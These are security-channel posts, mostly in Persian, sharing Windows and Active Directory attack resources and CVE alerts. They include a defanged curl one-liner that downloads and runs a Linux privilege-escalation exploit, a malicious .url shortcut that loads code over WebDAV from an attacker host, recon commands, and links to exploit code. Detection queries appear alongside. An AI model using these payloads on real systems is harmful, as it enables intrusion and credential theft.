دیدم از افتا تشکر کردن بعد یک عمر یک گزارش داده ولی گویا افتا رول‌های کسپر دزدیده ریپلیس کرده اسم خودش گذاشته! خدایی اونجا یکتون بلد نیستید یارا رول بنویسه🤔

این وبینار دیشب برگزار شد تکنیک‌های خیلی خاصی نگفت ولی به عنوان ردتیمر یا پنتستر باید اینارو بلد باشید. مخصوصا اگر IA از سیستم کلاینت باشه.
https://youtu.be/EG2Mbw2DVnU?si=_BRndxfQuvRodPjo
اسلایدهای ارائه:
https://www.slideshare.net/slideshow/windows-client-privilege-escalation-shared-pptx/277239036

اگر لب خواستید برای تست از ریپو میتونید کمک بگیرید براتون محیط اماده میکنه
https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook

اقای altman کاری کرد که شاید هیچ کدوم از سرویس‌های اطلاعاتی نتونن بکنن علاوه بر دانش یوزر اطلاعات در مورد کار محل کار چلنج روزانه و … حالا عکسشون هم داره زنده باد حریم شخصی 🤔

یک دوره باید بیان ایران یاد بگیرن چطوری تمیز کار در بیارن 🤔
https://www.bleepingcomputer.com/news/security/oracle-customers-confirm-data-stolen-in-alleged-cloud-breach-is-valid/

CVE-2025-0401: 7350pipe - Linux Privilege Escalation (all versions🤔). Exploit via a simple 1-liner: (defang: remove square brackets)
. <(curl -SsfL https://thc[.]org/7350pipe)

RemoteMonologue - A Windows credential harvesting attack that leverages the Interactive User RunAs key and coerces NTLM authentications via DCOM. Remotely compromise users without moving laterally or touching LSASS.
https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions#1
https://github.com/xforcered/RemoteMonologue

You have got a valid NTLM relay but SMB and LDAP are signed, LDAPS has got Channel Binding and ESC8 is not available... What about WinRMS ?
Don't forget to patch your WinRMS' configurations if you enabled the default one!!
Blog:https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./
Tool:https://github.com/fortra/impacket/pull/1947

archive cve: https://vx-underground.org/Archive/CVE

At this week’s Microsoft BlueHat IL conference, Benjamin Delpy - widely respected for his work with Mimikatz - delivered what appears to be the first industry leak of Mimikatz 3.0.0 in a live demo. For those of us who have used Mimikatz extensively, this update is particularly intriguing. Delpy made it clear from the outset that this version won’t be publicly released anytime soon - a move that suggests significant shifts ahead.

Bypassing UAC via Intel ShaderCache Directory
https://g3tsyst3m.github.io/uac%20bypass/Bypass-UAC-via-Intel-ShaderCache/

Cloak and Firewall: Exposing Netsh’s Hidden Command Tricks

https://www.splunk.com/en_us/blog/security/netsh-firewall-evasion-techniques.html

BadSuccessor attack - a novel Active Directory privilege escalation technique that abuses a vulnerability in a feature introduced in Windows Server 2025.
https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
https://github.com/GhostPack/Rubeus/pull/194
https://github.com/akamai/BadSuccessor

BadSuccessor ports:
Powershell : https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
Python: https://github.com/cybrly/badsuccessor
.Net : https://github.com/logangoins/SharpSuccessor

added to
nxc : https://github.com/Pennyw0rth/NetExec
bloodyAD : https://github.com/CravateRouge/bloodyAD

C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations
https://xbz0n.sh/blog/c2-redirectors

با سلام و وقت بخیر،
ضمن عرض تسلیت به مردم ایران
در صورتی که در حوزه SOC فعالیت می کنید حتما آسیب پذیری CVE-2025-33073 را زیر نظر داشته باشید امکان دامپ پسورد با سطح دسترسی یوزر پایین در صورتی که dns بتواند ادد شود و smb signing خاموش باشد.
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
نمونه لاگ عکسش ضمیمه شد همچنین در صورتی که ادمین سرور هستید می توانید با کامند چک کنید

Get-DnsServerResourceRecord -ZoneName "domain.corp" | Where-Object { $_.HostName -like "*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA*" }

با سلام و وقت بخیر،
یکی از آسیب‌پذیری‌های جدید که اخیراً مورد سوءاستفاده قرار گرفته، آسیب‌پذیری CVE-2025-33053 می‌باشد. این آسیب‌پذیری از طریق استفاده از فایل‌های .url (InternetShortcut) و ابزار داخلی ویندوز iediagcmd.exe، امکان اجرای غیرمستقیم کد را فراهم می‌کند.
به‌طور خاص، مهاجم فایلی با محتوای زیر ایجاد می‌کند:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

ابزار iediagcmd.exe فایل را باز کرده و با توجه به تنظیمات آن، سیستم تلاش می‌کند تا مسیر WorkingDirectory را از طریق WebDAV بارگذاری کند. این رفتار باعث می‌شود تا امکان اجرای کد مخرب از راه دور فراهم شود.

طبق گزارش Check Point، یک گروه APT با استفاده از این روش بدافزار خود را اجرا کرده و کنترل سیستم را به دست گرفته‌اند. شواهد نشان می‌دهد C2 مورد استفاده یکی از اجنت‌های Mythic بوده و دستورات زیر توسط آن اجرا شده‌اند:

ipconfig.exe /all
netsh.exe in tcp show global
netsh.exe advfirewall firewall show rule name=all verbose
route.exe print

یک رول پایه برای شناسایی url

index=sysmon EventCode=1 
(Image="*iediagcmd.exe" OR CommandLine="*iediagcmd.exe*") 
AND (CommandLine="*@ssl@443*" OR CommandLine="*DavWWWRoot*" OR CommandLine="*summerartcamp*")

و اما poc آسیب پذیری:
https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept